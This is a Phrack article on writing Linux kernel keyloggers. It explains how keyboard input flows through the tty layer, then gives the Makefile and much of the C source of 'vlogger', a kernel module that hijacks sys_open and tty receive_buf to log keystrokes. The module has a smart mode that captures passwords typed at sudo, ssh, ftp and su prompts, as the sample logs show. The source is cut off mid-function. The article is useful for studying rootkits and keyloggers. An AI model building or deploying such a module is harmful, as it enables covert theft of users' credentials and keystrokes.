YmVycHVuayA8am9obmN5YnBrQGdteC5uZXQ+iFcEExECABcFAjzw5yMFCwcKAwQD
FQMCAxYCAQIXgAAKCRD3c5EGutq/jMW7AJ9OSmrB+0vMgPfVOT4edV7C++RNHwCf
byT/qKeSawxasF8g4HeX33fSPe25Ag0EPPDnrRAIALdcTn8E2Z8Z4Ua4p8fjwXNO
iP6GOANUN5XLpmscv9v5ErPfK+NM2ARb7O7rQJfLkmKV8voPNj4lPUUyltGeOhzj
t86I5p68RRSvO5JKTW+riZamaD8lB84YqLzmt9OuzuOeAJCq3GuQtPMyrNuOkPL9
nX51EgnLnYaUYAkysAhYLhlrye/3maNdjtn2T63MoJauAoB4TpKvegsGsf1pA5mj
y9fuG6zGnWt8XpVSdD2W3PUJB+Q7J3On35byebIKiuGsti6Y5L0ZSDlW2rveZp9g
eRSQz06j+mxAooTUMBBJwMmXjHm5nTgr5OX/8mpb+I73MGhtssRr+JW+EWSLQN8A
AwcH/iqRCMmPB/yiMhFrEPUMNBsZOJ+VK3PnUNLbAPtHz7E2ZmEpTgdvLR3tjHTC
vZO6k40H1BkodmdFkCHEwzhWwe8P3a+wgW2LnPCM6tfPEfp9kPXD43UlTLWLL4RF
cPmyrs45B2uht7aE3Pe0SgbsnWAej87Stwb+ezOmngmrRvZKnYREVR1RHRRsH3l6
C4rexD3uHjFNdEXieW97xHG71YpOVDX6slCK2SumfxzQAEZC2n7/DqwPd6Z/abAf
Ay9WmTpqBFd2FApUtZ1h8cpS6MYb6A5R2BDJQl1hN2pQFNzIh8chjVdQc67dKiay
R/g0Epg0thiVAecaloCJlJE8b3OIRgQYEQIABgUCPPDnrQAKCRD3c5EGutq/jNuP
AJ979IDls926vsxlhRA5Y8G0hLyDAwCgo8eWQWI7Y+QVfwBG8XCzei4oAiI=
=2B7h
-----END PGP PUBLIC KEY BLOCK-----
```

```
|=[ EOF ]=---------------------------------------------------------------=|
                             ==Phrack Inc.==

               Volume 0x0b, Issue 0x3b, Phile #0x0e of 0x12


|=-----------------=[ Writing Linux Kernel Keylogger ]=------------------=|
|=-----------------------------------------------------------------------=|
|=------------------=[ rd <rd@thehackerschoice.com> ]=-------------------=|
|=------------------------=[ June 19th, 2002 ]=--------------------------=|
```

--[Contents

--[1 - Introduction

This article is divided into two parts. The first part of the paper gives an overview on how the linux keyboard driver work, and discusses methods that can be used to create a kernel based keylogger. This part will be useful for those who want to write a kernel based keylogger, or to write their own keyboard driver (for supporting input of non-supported language in linux environment, ...) or to program taking advantage of many features in the Linux keyboard driver.

The second part presents detail of vlogger, a smart kernel based linux keylogger, and how to use it. Keylogger is a very interesting code being used widely in honeypots, hacked systems, ... by white and black hats. As most of us known, besides user space keyloggers (such as iob, uberkey, unixkeylogger, ...), there are some kernel based keyloggers. The earliest kernel based keylogger is linspy of halflife which was published in Phrack 50 (see [4]). And the recent kkeylogger is presented in 'Kernel Based Keylogger' paper by mercenary (see [7]) that I found when was writing this paper. The common method of those kernel based keyloggers using is to log user keystrokes by intercepting sys_read or sys_write system call. However, this approach is quite unstable and slowing down the whole system noticeably because sys_read (or sys_write) is the generic read/write function of the system; sys_read is called whenever a process wants to read something from devices (such as keyboard, file, serial port, ...). In vlogger, I used a better way to implement it that hijacks the tty buffer processing function.

The reader is supposed to possess the knowledge on Linux Loadable Kernel Module. Articles [1] and [2] are recommended to read before further reading.

--[2 - How Linux keyboard driver work

Lets take a look at below figure to know how user inputs from console keyboard are processed:

```
  _____________          _________             _________
 /             \ put_queue|         |receive_buf|         |tty_read
/handle_scancode\-------->|tty_queue|---------->|tty_ldisc|------->
\               /         |         |           |buffer   |
 \_____________/          |_________|           |_________|

     _________             ____________
    |         |sys_read|            |
--->|/dev/ttyX|------->|user process|
    |         |        |            |
    |_________|        |____________|


                            Figure 1
```

First, when you press a key on the keyboard, the keyboard will send corresponding scancodes to keyboard driver. A single key press can produce a sequence of up to six scancodes.

The handle_scancode() function in the keyboard driver parses the stream of scancodes and converts it into a series of key press and key release events called keycode by using a translation-table via kbd_translate() function. Each key is provided with a unique keycode k in the range 1-127. Pressing key k produces keycode k, while releasing it produces keycode k+128.

For example, keycode of 'a' is 30. Pressing key 'a' produces keycode 30. Releasing 'a' produces keycode 158 (128+30).

Next, keycodes are converted to key symbols by looking them up on the appropriate keymap. This is a quite complex process. There are eight possible modifiers (shift keys - Shift , AltGr, Control, Alt, ShiftL, ShiftR, CtrlL and CtrlR), and the combination of currently active modifiers and locks determines the keymap used.

After the above handling, the obtained characters are put into the raw tty queue - tty_flip_buffer.

In the tty line discipline, receive_buf() function is called periodically to get characters from tty_flip_buffer then put them into tty read queue.

When user process want to get user input, it calls read() function on stdin of the process. sys_read() function will calls read() function defined in file_operations structure (which is pointed to tty_read) of corresponding tty (ex /dev/tty0) to read input characters and return to the process.

The keyboard driver can be in one of 4 modes:

- scancode (RAW MODE): the application gets scancodes for input. It is used by applications that implement their own keyboard driver (ex: X11)

- keycode (MEDIUMRAW MODE): the application gets information on which keys (identified by their keycodes) get pressed and released.

- ASCII (XLATE MODE): the application effectively gets the characters as defined by the keymap, using an 8-bit encoding.

- Unicode (UNICODE MODE): this mode only differs from the ASCII mode by allowing the user to compose UTF8 unicode characters by their decimal value, using Ascii_0 to Ascii_9, or their hexadecimal (4-digit) value, using Hex_0 to Hex_9. A keymap can be set up to produce UTF8 sequences (with a U+XXXX pseudo-symbol, where each X is an hexadecimal digit).

Those modes influence what type of data that applications will get as keyboard input. For more details on scancode, keycode and keymaps, please read [3].

--[3 - Kernel based keylogger approaches

We can implement a kernel based keylogger in two ways by writing our own keyboard interrupt handler or hijacking one of input processing functions.

----[3.1 - Interrupt handler

To log keystrokes, we will use our own keyboard interrupt handler. Under Intel architectures, the IRQ of the keyboard controlled is IRQ 1. When receives a keyboard interrupt, our own keyboard interrupt handler read the scancode and keyboard status. Keyboard events can be read and written via port 0x60(Keyboard data register) and 0x64(Keyboard status register).

```
/* below code is intel specific */
#define KEYBOARD_IRQ 1
#define KBD_STATUS_REG 0x64
#define KBD_CNTL_REG 0x64
#define KBD_DATA_REG 0x60

#define kbd_read_input() inb(KBD_DATA_REG)
#define kbd_read_status() inb(KBD_STATUS_REG)
#define kbd_write_output(val) outb(val, KBD_DATA_REG)
#define kbd_write_command(val) outb(val, KBD_CNTL_REG)

/* register our own IRQ handler */
request_irq(KEYBOARD_IRQ, my_keyboard_irq_handler, 0, "my keyboard", NULL);

In my_keyboard_irq_handler():
        scancode = kbd_read_input();
        key_status = kbd_read_status();
        log_scancode(scancode);
```

This method is platform dependent. So it won't be portable among platforms. And you have to be very careful with your interrupt handler if you don't want to crash your box ;)

----[3.2 - Function hijacking

Based on the Figure 1, we can implement our keylogger to log user inputs by hijacking one of handle_scancode(), put_queue(), receive_buf(), tty_read() and sys_read() functions. Note that we can't intercept tty_insert_flip_char() function because it is an INLINE function.

------[3.2.1 - handle_scancode

This is the entry function of the keyboard driver (see keyboard.c). It handles scancodes which are received from keyboard.

```
# /usr/src/linux/drives/char/keyboard.c
void handle_scancode(unsigned char scancode, int down);
```

We can replace original handle_scancode() function with our own to logs all scancodes. But handle_scancode() function is not a global and exported function. So to do this, we can use kernel function hijacking technique introduced by Silvio (see [5]).

```
/* below is a code snippet written by Plasmoid */
static struct semaphore hs_sem, log_sem;
static int logging=1;

#define CODESIZE 7
static char hs_code[CODESIZE];
static char hs_jump[CODESIZE] =
       "\xb8\x00\x00\x00\x00"      /*      movl   $0,%eax  */
       "\xff\xe0"                  /*      jmp    *%eax    */
   ;

void (*handle_scancode) (unsigned char, int) =
        (void (*)(unsigned char, int)) HS_ADDRESS;

void _handle_scancode(unsigned char scancode, int keydown)
{
       if (logging && keydown)
          log_scancode(scancode, LOGFILE);

       /*
        * Restore first bytes of the original handle_scancode code.  Call
        * the restored function and re-restore the jump code.  Code is
        * protected by semaphore hs_sem, we only want one CPU in here at a
        * time.
        */
       down(&hs_sem);

       memcpy(handle_scancode, hs_code, CODESIZE);
       handle_scancode(scancode, keydown);
       memcpy(handle_scancode, hs_jump, CODESIZE);

       up(&hs_sem);
}
```

HS_ADDRESS is set by the Makefile executing this command

```
HS_ADDRESS=0x$(word 1,$(shell ksyms -a | grep handle_scancode))
```

Similar to method presented in 3.1, the advantage of this method is the ability to log keystrokes under X and the console, no matter if a tty is invoked or not. And you will know exactly what key is pressed on the keyboard (including special keys such as Control, Alt, Shift, Print Screen, ...). But this method is platform dependent and won't be portable among platforms. This method also can't log keystroke of remote sessions and is quite complex for building an advance logger.

------[3.2.2 - put_queue

This function is called by handle_scancode() function to put characters into tty_queue.

```
# /usr/src/linux/drives/char/keyboard.c
void put_queue(int ch);
```

To intercept this function, we can use the above technique as in section (3.2.1).

------[3.2.3 - receive_buf

receive_buf() function is called by the low-level tty driver to send characters received by the hardware to the line discipline for processing.

```
# /usr/src/linux/drivers/char/n_tty.c */
static void n_tty_receive_buf(struct tty_struct *tty, const
                                unsigned char *cp, char *fp, int count)
```

cp is a pointer to the buffer of input character received by the device.
fp is a pointer to a pointer of flag bytes which indicate whether a
character was received with a parity error, etc.

Lets take a deeper look into tty structures

```
# /usr/include/linux/tty.h
struct tty_struct {
        int     magic;
        struct tty_driver driver;
        struct tty_ldisc ldisc;
        struct termios *termios, *termios_locked;
        ...
}

# /usr/include/linux/tty_ldisc.h
struct tty_ldisc {
        int     magic;
        char    *name;
        ...
        void    (*receive_buf)(struct tty_struct *,
                        const unsigned char *cp, char *fp, int count);
        int     (*receive_room)(struct tty_struct *);
        void    (*write_wakeup)(struct tty_struct *);
};
```

To intercept this function, we can save the original tty receive_buf() function then set ldisc.receive_buf to our own new_receive_buf() function in order to logging user inputs.

Ex: to log inputs on the tty0

```
int fd = open("/dev/tty0", O_RDONLY, 0);
struct file *file = fget(fd);
struct tty_struct *tty = file->private_data;
old_receive_buf = tty->ldisc.receive_buf;
tty->ldisc.receive_buf = new_receive_buf;

void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
                                                char *fp, int count)
{
        logging(tty, cp, count);        //log inputs

        /* call the original receive_buf */
        (*old_receive_buf)(tty, cp, fp, count);
}
```

------[3.2.4 - tty_read

This function is called when a process wants to read input characters from a tty via sys_read() function.

```
# /usr/src/linux/drives/char/tty_io.c
static ssize_t tty_read(struct file * file, char * buf, size_t count,
                                loff_t *ppos)

static struct file_operations tty_fops = {
        llseek:         tty_lseek,
        read:           tty_read,
        write:          tty_write,
        poll:           tty_poll,
        ioctl:          tty_ioctl,
        open:           tty_open,
        release:        tty_release,
        fasync:         tty_fasync,
};
```

To log inputs on the tty0:

```
int fd = open("/dev/tty0", O_RDONLY, 0);
struct file *file = fget(fd);
old_tty_read = file->f_op->read;
file->f_op->read = new_tty_read;
```

------[3.2.5 - sys_read/sys_write

We will intercept sys_read/sys_write system calls to redirect it to our own code which logs the content of the read/write calls. This method was presented by halflife in Phrack 50 (see [4]). I highly recommend reading that paper and a great article written by pragmatic called "Complete Linux Loadable Kernel Modules" (see [2]).

The code to intercept sys_read/sys_write will be something like this:

```
extern void *sys_call_table[];
original_sys_read = sys_call_table[__NR_read];
sys_call_table[__NR_read] = new_sys_read;
```

--[4 - vlogger

This part will introduce my kernel keylogger which is used method described in section 3.2.3 to acquire more abilities than common keyloggers used sys_read/sys_write systemcall replacement approach. I have tested the code with the following versions of linux kernel: 2.4.5, 2.4.7, 2.4.17 and 2.4.18.

----[4.1 - The syscall/tty approach

To logging both local (logged from console) and remote sessions, I chose the method of intercepting receive_buf() function (see 3.2.3).

In the kernel, tty_struct and tty_queue structures are dynamically allocated only when the tty is open. Thus, we also have to intercept sys_open syscall to dynamically hooking the receive_buf() function of each tty or pty when it's invoked.

```
// to intercept open syscall
original_sys_open = sys_call_table[__NR_open];
sys_call_table[__NR_open] = new_sys_open;

// new_sys_open()
asmlinkage int new_sys_open(const char *filename, int flags, int mode)
{
...
        // call the original_sys_open
        ret = (*original_sys_open)(filename, flags, mode);

        if (ret >= 0) {
                struct tty_struct * tty;
...
                file = fget(ret);
                tty = file->private_data;
                if (tty != NULL &&
...
                        tty->ldisc.receive_buf != new_receive_buf) {
...
                                // save the old receive_buf
                                old_receive_buf = tty->ldisc.receive_buf;
...

                       /*
```

```
                         * init to intercept receive_buf of this tty
                         * tty->ldisc.receive_buf = new_receive_buf;
                         */
                        init_tty(tty, TTY_INDEX(tty));
                }
...
}

// our new receive_buf() function
void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
                                                char *fp, int count)
{
        if (!tty->real_raw && !tty->raw)        // ignore raw mode
                // call our logging function to log user inputs
                vlogger_process(tty, cp, count);
        // call the original receive_buf
        (*old_receive_buf)(tty, cp, fp, count);
}
```

----[4.2 - Features

- Logs both local and remote sessions (via tty & pts)

- Separate logging for each tty/session. Each tty has their own logging buffer.

- Nearly support all special chars such as arrow keys (left, right, up, down), F1 to F12, Shift+F1 to Shift+F12, Tab, Insert, Delete, End, Home, Page Up, Page Down, BackSpace, ...

- Support some line editing keys included CTRL-U and BackSpace.

- Timestamps logging, timezone supported (ripped off some codes from libc).

- Multiple logging modes

        o dumb mode: logs all keystrokes

        o smart mode: detects password prompt automatically to log user/password only. I used the similar technique presented in "Passive Analysis of SSH (Secure Shell) Traffic" paper by Solar Designer and Dug Song (see [6]). When the application turns input echoing off, we assume that it is for entering a password.

        o normal mode: disable logging

You can switch between logging modes by using a magic password.

```
#define VK_TOGLE_CHAR   29      // CTRL-]
#define MAGIC_PASS      "31337" // to switch mode, type MAGIC_PASS
                                // then press VK_TOGLE_CHAR key
```

----[4.3 - How to use

Change the following options

```
// directory to store log files
#define LOG_DIR "/tmp/log"

// your local timezone
#define TIMEZONE        7*60*60 // GMT+7

// your magic password
#define MAGIC_PASS      "31337"
```

Below is how the log file looks like:

```
[root@localhost log]# ls -l
total 60
-rw-------    1 root     root          633 Jun 19 20:59 pass.log
-rw-------    1 root     root        37593 Jun 19 18:51 pts11
-rw-------    1 root     root           56 Jun 19 19:00 pts20
-rw-------    1 root     root          746 Jun 19 20:06 pts26
-rw-------    1 root     root          116 Jun 19 19:57 pts29
-rw-------    1 root     root         3219 Jun 19 21:30 tty1
-rw-------    1 root     root        18028 Jun 19 20:54 tty2

---in dumb mode
[root@localhost log]# head tty2         // local session
<19/06/2002-20:53:47 uid=501 bash> pwd
<19/06/2002-20:53:51 uid=501 bash> uname -a
<19/06/2002-20:53:53 uid=501 bash> lsmod
<19/06/2002-20:53:56 uid=501 bash> pwd
<19/06/2002-20:54:05 uid=501 bash> cd /var/log
<19/06/2002-20:54:13 uid=501 bash> tail messages
<19/06/2002-20:54:21 uid=501 bash> cd ˜
<19/06/2002-20:54:22 uid=501 bash> ls
<19/06/2002-20:54:29 uid=501 bash> tty
<19/06/2002-20:54:29 uid=501 bash> [UP]

[root@localhost log]# tail pts11        // remote session
<19/06/2002-18:48:27 uid=0 bash> cd new
<19/06/2002-18:48:28 uid=0 bash> cp -p ˜/code .
<19/06/2002-18:48:21 uid=0 bash> lsmod
<19/06/2002-18:48:27 uid=0 bash> cd /va[TAB][^H][^H]tmp/log/
<19/06/2002-18:48:28 uid=0 bash> ls -l
<19/06/2002-18:48:30 uid=0 bash> tail pts11
<19/06/2002-18:48:38 uid=0 bash> [UP] | more
<19/06/2002-18:50:44 uid=0 bash> vi vlogertxt
<19/06/2002-18:50:48 uid=0 vi> :q
<19/06/2002-18:51:14 uid=0 bash> rmmod vlogger

---in smart mode
[root@localhost log]# cat pass.log
[19/06/2002-18:28:05 tty=pts/20 uid=501 sudo]
USER/CMD sudo traceroute yahoo.com
PASS 5hgt6d
PASS

[19/06/2002-19:59:15 tty=pts/26 uid=0 ssh]
USER/CMD ssh guest@host.com
PASS guest

[19/06/2002-20:50:44 tty=pts/29 uid=504 ftp]
USER/CMD open ftp.ilog.fr
USER Anonymous
PASS heh@heh

[19/06/2002-20:59:54 tty=pts/29 uid=504 su]
USER/CMD su -
PASS asdf1234
```

Please check http://www.thehackerschoice.com/ for update on the new version
of this tool.

--[5 - Greets

Thanks to plasmoid, skyper for your very useful comments
Greets to THC, vnsecurity and all friends
Finally, thanks to mr. thang for english corrections

--[6 - References

[1] Linux Kernel Module Programming
    http://www.tldp.org/LDP/lkmpg/
[2] Complete Linux Loadable Kernel Modules - Pragmatic
    http://www.thehackerschoice.com/papers/LKM_HACKING.html
[3] The Linux keyboard driver - Andries Brouwer
    http://www.linuxjournal.com/lj-issues/issue14/1080.html
[4] Abuse of the Linux Kernel for Fun and Profit - Halflife
    http://www.phrack.com/phrack/50/P50-05
[5] Kernel function hijacking - Silvio Cesare
    http://www.big.net.au/~silvio/kernel-hijack.txt
[6] Passive Analysis of SSH (Secure Shell) Traffic - Solar Designer
    http://www.openwall.com/advisories/OW-003-ssh-traffic-analysis.txt
[7] Kernel Based Keylogger - Mercenary
    http://packetstorm.decepticons.org/UNIX/security/kernel.keylogger.txt

--[7 - Keylogger sources

```
<++> vlogger/Makefile
#
#  vlogger 1.0 by rd
#
#  LOCAL_ONLY           logging local session only. Doesn't intercept
#                       sys_open system call
#  DEBUG                Enable debug. Turn on this options will slow
#                       down your system
#

KERNELDIR =/usr/src/linux
include $(KERNELDIR)/.config
MODVERFILE = $(KERNELDIR)/include/linux/modversions.h

MODDEFS = -D__KERNEL__ -DMODULE -DMODVERSIONS
CFLAGS = -Wall -O2 -I$(KERNELDIR)/include -include $(MODVERFILE) \
        -Wstrict-prototypes -fomit-frame-pointer -pipe \
        -fno-strength-reduce -malign-loops=2 -malign-jumps=2 \
        -malign-functions=2

all : vlogger.o

vlogger.o: vlogger.c
        $(CC) $(CFLAGS) $(MODDEFS) -c $^ -o $@

clean:
        rm -f *.o
<-->
<++> vlogger/vlogger.c
/*
 *  vlogger 1.0
 *
 *  Copyright (C) 2002 rd <rd@vnsecurity.net>
 *
 *  Please check http://www.thehackerschoice.com/ for update
 *
 *  This program is free software; you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation; either version 2 of the License, or
 *  (at your option) any later version
 *
 *  This program is distributed in the hope that it will be useful, but
 *  WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 *  General Public License for more details.
 *
 *  Greets to THC & vnsecurity
 *
 */
```

```
#define __KERNEL_SYSCALLS__
#include <linux/version.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/smp_lock.h>
#include <linux/sched.h>
#include <linux/unistd.h>
#include <linux/string.h>
#include <linux/file.h>
#include <asm/uaccess.h>
#include <linux/proc_fs.h>
#include <asm/errno.h>
#include <asm/io.h>

#ifndef KERNEL_VERSION
#define KERNEL_VERSION(a,b,c) (((a) << 16) + ((b) << 8) + (c))
#endif

#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,4,9)
MODULE_LICENSE("GPL");
MODULE_AUTHOR("rd@vnsecurity.net");
#endif

#define MODULE_NAME "vlogger "
#define MVERSION "vlogger 1.0 - by rd@vnsecurity.net\n"

#ifdef DEBUG
#define DPRINT(format, args...) printk(MODULE_NAME format, ##args)
#else
#define DPRINT(format, args...)
#endif

#define N_TTY_NAME "tty"
#define N_PTS_NAME "pts"
#define MAX_TTY_CON 8
#define MAX_PTS_CON 256
#define LOG_DIR "/tmp/log"
#define PASS_LOG LOG_DIR "/pass.log"

#define TIMEZONE 7*60*60        // GMT+7

#define ESC_CHAR 27
#define BACK_SPACE_CHAR1 127    // local
#define BACK_SPACE_CHAR2 8      // remote

#define VK_TOGLE_CHAR 29        // CTRL-]
#define MAGIC_PASS "31337"      // to switch mode, press MAGIC_PASS and
                                // VK_TOGLE_CHAR

#define VK_NORMAL 0
#define VK_DUMBMODE 1
#define VK_SMARTMODE 2
#define DEFAULT_MODE VK_DUMBMODE

#define MAX_BUFFER 256
#define MAX_SPECIAL_CHAR_SZ 12

#define TTY_NUMBER(tty) MINOR((tty)->device) - (tty)->driver.minor_start \
                        + (tty)->driver.name_base
#define TTY_INDEX(tty) tty->driver.type == \
                        TTY_DRIVER_TYPE_PTY?MAX_TTY_CON + \
                        TTY_NUMBER(tty):TTY_NUMBER(tty)
#define IS_PASSWD(tty) L_ICANON(tty) && !L_ECHO(tty)
#define TTY_WRITE(tty, buf, count) (*tty->driver.write)(tty, 0, \
                                                        buf, count)

#define TTY_NAME(tty) (tty->driver.type == \
                TTY_DRIVER_TYPE_CONSOLE?N_TTY_NAME: \
                tty->driver.type == TTY_DRIVER_TYPE_PTY && \
                tty->driver.subtype == PTY_TYPE_SLAVE?N_PTS_NAME:"")

#define BEGIN_KMEM { mm_segment_t old_fs = get_fs(); set_fs(get_ds());
#define END_KMEM set_fs(old_fs); }

extern void *sys_call_table[];
int errno;

struct tlogger {
        struct tty_struct *tty;
        char buf[MAX_BUFFER + MAX_SPECIAL_CHAR_SZ];
        int lastpos;
        int status;
        int pass;
};

struct tlogger *ttys[MAX_TTY_CON + MAX_PTS_CON] = { NULL };
void (*old_receive_buf)(struct tty_struct *, const unsigned char *,
                        char *, int);
asmlinkage int (*original_sys_open)(const char *, int, int);

int vlogger_mode = DEFAULT_MODE;

/* Prototypes */
static inline void init_tty(struct tty_struct *, int);

/*
static char *_tty_make_name(struct tty_struct *tty,
                                const char *name, char *buf)
{
        int idx = (tty)?MINOR(tty->device) - tty->driver.minor_start:0;

        if (!tty)
                strcpy(buf, "NULL tty");
        else
                sprintf(buf, name,
                        idx + tty->driver.name_base);
        return buf;
}

char *tty_name(struct tty_struct *tty, char *buf)
{
        return _tty_make_name(tty, (tty)?tty->driver.name:NULL, buf);
}
*/

#define SECS_PER_HOUR   (60 * 60)
#define SECS_PER_DAY    (SECS_PER_HOUR * 24)
#define isleap(year) \
        ((year) % 4 == 0 && ((year) % 100 != 0 || (year) % 400 == 0))
#define DIV(a, b) ((a) / (b) - ((a) % (b) < 0))
#define LEAPS_THRU_END_OF(y) (DIV (y, 4) - DIV (y, 100) + DIV (y, 400))

struct vtm {
        int tm_sec;
        int tm_min;
        int tm_hour;
        int tm_mday;
        int tm_mon;
        int tm_year;
};


/*
 *  Convert from epoch to date
 */
```

```
int epoch2time (const time_t *t, long int offset, struct vtm *tp)
{
        static const unsigned short int mon_yday[2][13] = {
           /* Normal years.  */
           { 0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365 },
           /* Leap years.  */
           { 0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335, 366 }
        };

        long int days, rem, y;
        const unsigned short int *ip;

        days = *t / SECS_PER_DAY;
        rem = *t % SECS_PER_DAY;
        rem += offset;
        while (rem < 0) {
                rem += SECS_PER_DAY;
                --days;
        }
        while (rem >= SECS_PER_DAY) {
                rem -= SECS_PER_DAY;
                ++days;
        }
        tp->tm_hour = rem / SECS_PER_HOUR;
        rem %= SECS_PER_HOUR;
        tp->tm_min = rem / 60;
        tp->tm_sec = rem % 60;
        y = 1970;

        while (days < 0 || days >= (isleap (y) ? 366 : 365)) {
                long int yg = y + days / 365 - (days % 365 < 0);
                days -= ((yg - y) * 365
                        + LEAPS_THRU_END_OF (yg - 1)
                        - LEAPS_THRU_END_OF (y - 1));
                y = yg;
        }
        tp->tm_year = y - 1900;
        if (tp->tm_year != y - 1900)
                return 0;
        ip = mon_yday[isleap(y)];
        for (y = 11; days < (long int) ip[y]; --y)
                continue;
        days -= ip[y];
        tp->tm_mon = y;
        tp->tm_mday = days + 1;
        return 1;
}


/*
 *  Get current date & time
 */

void get_time (char *date_time)
{
        struct timeval tv;
        time_t t;
        struct vtm tm;

        do_gettimeofday(&tv);
        t = (time_t)tv.tv_sec;

        epoch2time(&t, TIMEZONE, &tm);

        sprintf(date_time, "%.2d/%.2d/%d-%.2d:%.2d:%.2d", tm.tm_mday,
                tm.tm_mon + 1, tm.tm_year + 1900, tm.tm_hour, tm.tm_min,
                tm.tm_sec);
```

```
}


/*
 * Get task structure from pgrp id
 */

inline struct task_struct *get_task(pid_t pgrp)
{
        struct task_struct *task = current;

        do {
                if (task->pgrp == pgrp) {
                        return task;
                }
                task = task->next_task;
        } while (task != current);
        return NULL;
}


#define _write(f, buf, sz) (f->f_op->write(f, buf, sz, &f->f_pos))
#define WRITABLE(f) (f->f_op && f->f_op->write)

int write_to_file(char *logfile, char *buf, int size)
{
        int ret = 0;
        struct file   *f = NULL;

        lock_kernel();
        BEGIN_KMEM;
        f = filp_open(logfile, O_CREAT|O_APPEND, 00600);

        if (IS_ERR(f)) {
                DPRINT("Error %ld opening %s\n", -PTR_ERR(f), logfile);
                ret = -1;
        } else {
                if (WRITABLE(f))
                        _write(f, buf, size);
                else {
                        DPRINT("%s does not have a write method\n",
                                logfile);
                        ret = -1;
                }

                if ((ret = filp_close(f,NULL)))
                        DPRINT("Error %d closing %s\n", -ret, logfile);
        }
        END_KMEM;
        unlock_kernel();

        return ret;
}


#define BEGIN_ROOT { int saved_fsuid = current->fsuid; current->fsuid = 0;
#define END_ROOT current->fsuid = saved_fsuid; }


/*
 *  Logging keystrokes
 */

void logging(struct tty_struct *tty, struct tlogger *tmp, int cont)
{
        int i;

        char logfile[256];
        char loginfo[MAX_BUFFER + MAX_SPECIAL_CHAR_SZ + 256];
        char date_time[24];
        struct task_struct *task;

        if (vlogger_mode == VK_NORMAL)
                return;

        if ((vlogger_mode == VK_SMARTMODE) && (!tmp->lastpos || cont))
                return;

        task = get_task(tty->pgrp);

        for (i=0; i<tmp->lastpos; i++)
                if (tmp->buf[i] == 0x0D) tmp->buf[i] = 0x0A;

        if (!cont)
                tmp->buf[tmp->lastpos++] = 0x0A;

        tmp->buf[tmp->lastpos] = 0;

        if (vlogger_mode == VK_DUMBMODE) {
                snprintf(logfile, sizeof(logfile)-1, "%s/%s%d",
                                LOG_DIR, TTY_NAME(tty), TTY_NUMBER(tty));
                BEGIN_ROOT
                if (!tmp->status) {
                        get_time(date_time);
                        if (task)
                                snprintf(loginfo, sizeof(loginfo)-1,
                                        "<%s uid=%d %s> %s", date_time,
                                        task->uid, task->comm, tmp->buf);
                        else
                                snprintf(loginfo, sizeof(loginfo)-1,
                                        "<%s> %s", date_time, tmp->buf);

                        write_to_file(logfile, loginfo, strlen(loginfo));
                } else {
                        write_to_file(logfile, tmp->buf, tmp->lastpos);
                }
                END_ROOT

#ifdef DEBUG
                if (task)
                        DPRINT("%s/%d uid=%d %s: %s",
                                TTY_NAME(tty), TTY_NUMBER(tty),
                                task->uid, task->comm, tmp->buf);
                else
                        DPRINT("%s", tmp->buf);
#endif
                tmp->status = cont;

        } else {

                /*
                 *  Logging USER/CMD and PASS in SMART_MODE
                 */

                BEGIN_ROOT
                if (!tmp->pass) {
                        get_time(date_time);
                        if (task)
                                snprintf(loginfo, sizeof(loginfo)-1,
                                        "\n[%s tty=%s/%d uid=%d %s]\n"
                                        "USER/CMD %s", date_time,
                                        TTY_NAME(tty),TTY_NUMBER(tty),
                                        task->uid, task->comm, tmp->buf);
                        else
                                snprintf(loginfo, sizeof(loginfo)-1,
                                        "\n[%s tty=%s/%d]\nUSER/CMD %s",
                                        date_time, TTY_NAME(tty),
                                        TTY_NUMBER(tty), tmp->buf);

                        write_to_file(PASS_LOG, loginfo, strlen(loginfo));
                } else {
                        snprintf(loginfo, sizeof(loginfo)-1, "PASS %s",
                                        tmp->buf);
                        write_to_file (PASS_LOG, loginfo, strlen(loginfo));
                }

                END_ROOT

#ifdef DEBUG
                if (!tmp->pass)
                        DPRINT("USER/CMD %s", tmp->buf);
                else
                        DPRINT("PASS %s", tmp->buf);
#endif
        }

        if (!cont) tmp->buf[--tmp->lastpos] = 0;
}


#define resetbuf(t)             \
{                               \
        t->buf[0] = 0;          \
        t->lastpos = 0;         \
}

#define append_c(t, s, n)       \
{                               \
        t->lastpos += n;        \
        strncat(t->buf, s, n);  \
}

static inline void reset_all_buf(void)
{
        int i = 0;
        for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++)
                if (ttys[i] != NULL)
                        resetbuf(ttys[i]);
}

void special_key(struct tlogger *tmp, const unsigned char *cp, int count)
{
        switch(count) {
            case 2:
                switch(cp[1]) {
                        case ’\’’:
                                append_c(tmp, "[ALT-\’]", 7);
                                break;
                        case ’,’:
                                append_c(tmp, "[ALT-,]", 7);
                                break;
                        case ’-’:
                                append_c(tmp, "[ALT--]", 7);
                                break;
                        case ’.’:
                                append_c(tmp, "[ALT-.]", 7);
                                break;
                        case ’/’:
                                append_c(tmp, "[ALT-/]", 7);
                                break;
                        case ’0’:
                                append_c(tmp, "[ALT-0]", 7);
                                break;
                        case ’1’:
                                append_c(tmp, "[ALT-1]", 7);
                                break;
                        case ’2’:
                                append_c(tmp, "[ALT-2]", 7);
                                break;
                        case ’3’:
                                append_c(tmp, "[ALT-3]", 7);
                                break;
                        case ’4’:
                                append_c(tmp, "[ALT-4]", 7);
                                break;
                        case ’5’:
                                append_c(tmp, "[ALT-5]", 7);
                                break;
                        case ’6’:
                                append_c(tmp, "[ALT-6]", 7);
                                break;
                        case ’7’:
                                append_c(tmp, "[ALT-7]", 7);
                                break;
                        case ’8’:
                                append_c(tmp, "[ALT-8]", 7);
                                break;
                        case ’9’:
                                append_c(tmp, "[ALT-9]", 7);
                                break;
                        case ’;’:
                                append_c(tmp, "[ALT-;]", 7);
                                break;
                        case ’=’:
                                append_c(tmp, "[ALT-=]", 7);
                                break;
                        case ’[’:
                                append_c(tmp, "[ALT-[]", 7);
                                break;
                        case ’\\’:
                                append_c(tmp, "[ALT-\\]", 7);
                                break;
                        case ’]’:
                                append_c(tmp, "[ALT-]]", 7);
                                break;
                        case ’‘’:
                                append_c(tmp, "[ALT-‘]", 7);
                                break;
                        case ’a’:
                                append_c(tmp, "[ALT-A]", 7);
                                break;
